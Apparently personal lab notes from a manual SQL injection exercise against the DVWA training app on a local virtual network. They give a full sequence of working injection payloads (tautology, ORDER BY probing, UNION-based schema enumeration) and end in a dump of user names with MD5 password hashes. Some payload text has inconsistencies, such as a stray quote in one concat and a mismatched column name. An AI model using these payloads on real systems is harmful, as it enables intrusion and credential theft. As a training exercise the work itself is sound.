

mysql-dvwa-manual

initial scan
ip address of web server: 192.168.40.159

Currently scanning: Finished! | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

IP	At MAC Address	Count	Len	MAC Vendor / H
192.168.40.1	00:50:56:c0:00:08	1	60	VMware, Inc.
192.168.40.2	00:50:56:f2:a8:47	1	60	VMware, Inc.
192.168.40.159	00:0c:29:8b:5e:71	1	60	VMware, Inc.
192.168.40.254	00:50:56:eb:1d:a7	1	60	VMware, Inc.

dvwa mysql

User ID: 1' or 1=1 #

ID: 1' or 1=1 #
First name: admin
Surname: admin

ID: 1' or 1=1 #
First name: Gordon
Surname: Brown

ID: 1' or 1=1 #
First name: Hack
Surname: Me

ID: 1' or 1=1 #
First name: Pablo
Surname: Picasso

ID: 1' or 1=1 #
First name: Bob
Surname: Smith

-1' order by 4 #

Unknown column '4' in 'order clause'

no error

User ID:

-1' union select 1,2 #

User ID:

ID: -1' union select 1,2 #
First name: 1
Surname: 2

-1' union select concat('user: ', user()), concat('database: ', database(), ' ,version: ', version()) #

User ID:

ID: -1' union select concat('user: ', user()), concat('database: ', database(), ' ,version: ', version()) #
First name: user: root@localhost
Surname: database: dvwa ,version: 5.5.27

-1' union select 'table name', table_name from information_schema.tables where table_schema='dvwa' #

Database: dvwa

Table:

- A. guestbook
- B. users

User ID:

ID: -1' union select 'table name', table_name from information_schema.tables where table_schema='dvwa' #
First name: table name
Surname: guestbook

ID: -1' union select 'table name', table_name from information_schema.tables where table_schema='dvwa' #
First name: table name
Surname: users

-1' union select 'column name', column_name from information_schema.columns where table_schema='dvwa' #

Database: dvwa

Table: users

Column:

- A. user_id
- B. first_name
- C. last_name
- D. user
- E. password
- F. avatar
- G. last_login
- H. failed_login

User ID:

```
ID: -1' union select 'column name', column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #
First name: column name
Surname: user_id

ID: -1' union select 'column name', column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #
First name: column name
Surname: first_name

ID: -1' union select 'column name', column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #
First name: column name
Surname: last_name

ID: -1' union select 'column name', column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #
First name: column name
Surname: user

ID: -1' union select 'column name', column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #
First name: column name
Surname: password

ID: -1' union select 'column name', column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #
First name: column name
Surname: avatar

ID: -1' union select 'column name', column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #
First name: column name
Surname: last_login

ID: -1' union select 'column name', column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #
First name: column name
Surname: failed_login
```

`-1' union select concat('Name: ', first_name, ' ', last_name, ' ', User: ', user), concat('Password: ', password) from users #`

Cred dump:

Database - dvwa

Table - users

User ID:

```
ID: -1' union select concat('Name: ', first_name, ' ', last_name, ' ', User: ', user), concat('Password: ', password) from users #
First name: Name: admin admin , User: admin
Surname: Password: 5f4dcc3b5aa765d61d8327deb882cf99

ID: -1' union select concat('Name: ', first_name, ' ', last_name, ' ', User: ', user), concat('Password: ', password) from users #
First name: Name: Gordon Brown , User: gordonb
Surname: Password: e99a18c428cb38d5f268853678922e03

ID: -1' union select concat('Name: ', first_name, ' ', last_name, ' ', User: ', user), concat('Password: ', password) from users #
First name: Name: Hack Me , User: 1337
Surname: Password: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: -1' union select concat('Name: ', first_name, ' ', last_name, ' ', User: ', user), concat('Password: ', password) from users #
First name: Name: Pablo Picasso , User: pablo
Surname: Password: 0d107d89f5bbe48cade3de5c71e9e9b7

ID: -1' union select concat('Name: ', first_name, ' ', last_name, ' ', User: ', user), concat('Password: ', password) from users #
First name: Name: Bob Smith , User: smithy
Surname: Password: 5f4dcc3b5aa765d61d8327deb882cf99
```

`-1' union select 'column name', column_name from information_schema.columns where table_schema='dvwa' and table_name='guestbook' #`

Database: dvwa

Table: guestbook

Column:

- A. comment_id
- B. comment
- C. column_name

User ID:

```
ID: -1' union select 'column name', column_name from information_schema.columns where table_schema='dvwa' and table_name='guestbook' #
First name: column name
Surname: comment_id

ID: -1' union select 'column name', column_name from information_schema.columns where table_schema='dvwa' and table_name='guestbook' #
First name: column name
Surname: comment

ID: -1' union select 'column name', column_name from information_schema.columns where table_schema='dvwa' and table_name='guestbook' #
First name: column name
Surname: name
```

-1' union select concat('comment id ', comment_id, ' name: ', name), comment from guestbook #

Display all comment:

Database: dvwa
Table: guestbook

User ID:

```
ID: -1' union select concat('comment id ', comment_id, ' name: ', name), comment from guestbook #
First name: comment id 1 name: test
Surname: This is a test comment.
```